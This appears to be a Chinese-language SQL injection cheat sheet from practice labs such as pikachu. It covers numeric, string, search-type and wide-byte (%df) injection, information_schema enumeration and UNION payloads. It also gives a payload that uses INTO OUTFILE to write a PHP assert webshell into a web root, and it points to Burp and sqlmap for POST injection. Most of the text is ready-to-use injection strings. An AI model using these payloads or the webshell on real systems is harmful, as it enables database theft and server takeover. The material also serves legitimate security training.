A sql注入
想注入得先判断是数字型还是字符型注入
使用and或者or这两个逻辑运算符来判断字段是否是数字型,一般习惯于用and 1=2,如果是数字型,返回错误,但如果是字符型,返回正确。或者加单引号,数字型会报错,字符型也报错,但再加上--+注释符正常说明是字符型。
一些小姿势:
mysql数据库5.0以上版本,自带数据库,记录了mysql下所有的库名,表名,列名等信息。
主要用到以下几个:
schemata表 (mysql服务器中所有数据库信息的表)
tables表 (mysql服务器中所有表信息的表)
columns表(mysql服务器所有列信息的表)
table_schema 数据库名
table_name 表名
column_name 列名
写马payload
union select 1,'<?php assert($_POST[xxx]); ?>' into outfile 'C:/phpstudy_pro/WWW/'
POST型需要配合抓包工具进行注入
1.数字型
不需要闭合,一般步骤
id=1 order by 1,2,3 判断字段数
id=1 union select 1,2,3判断回显
id=-1 union select 1,database(),version()
流程走一遍
2.字符型
先判断闭合方式如:
加单引号报错,再加--+注释符正常,说明闭合成功。
继续如数字型注入走流程
常见闭合方式 : 单引号''、双引号""、括号()、括号+单引号('')、多层括号+单引号
常见注释方式:mysql注释符有#、-- (后面有空格,也就是--+)、/**/三种
3.搜索型注入
搜索型注入原理
原理
$sql="select * from user where password like '%$pwd%' order by password";
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?
'and 1=1 and '%'='
这样的话这句SQL语句就变成了这样:
select * from user where password like '%fe'and 1=1 and '%'='%' order by password
则存在SQL注入。
下面这几种语句都可以:
'and 1=1 and '%'=' %' and 1=1--' %' and 1=1 and '%'='
以pikachu靶场为例
ko%' and 1=1 # 正常
ko%' and 1=2 # 报错
ko%' order by 3 # 正常,4报错,故有三个字段
-ko%' union select 1,database(),version() # 查询数据库,版本
剩下部分正常操作就行,不再演示
宽字节注入
c常见URL转码
’ 转码 %27
空格 转码 %20
# 转码%23
\ 转码 %5C
GET传参的宽字节注入id =1%df' or 1=1 #
1.经典绕过在引号前加个%df 之后就进行正常的注入就行了
转换:(%df')===>(%df%5c%27)===>(汉字 ’)
2.id=1%e5%5c%27
转换:(%e5%5c转为UTF-8为e9%8c%a6)
%e5%5c%27====>(addslashes)====>%e5%5c%5c%5c%27====(iconv)====>%e9%8c%a6%5c%5c%27
可以看到,多出了一个%5c,将转义符(反斜杠)本身转义,使得后面的%27单引号发挥了作用
POST传参只需要burp抓包,然后再进行注入,需要注意的是使用or条件
(name=kobe%df'or 1=1 #)
闭合成功,sqlmap一把梭哈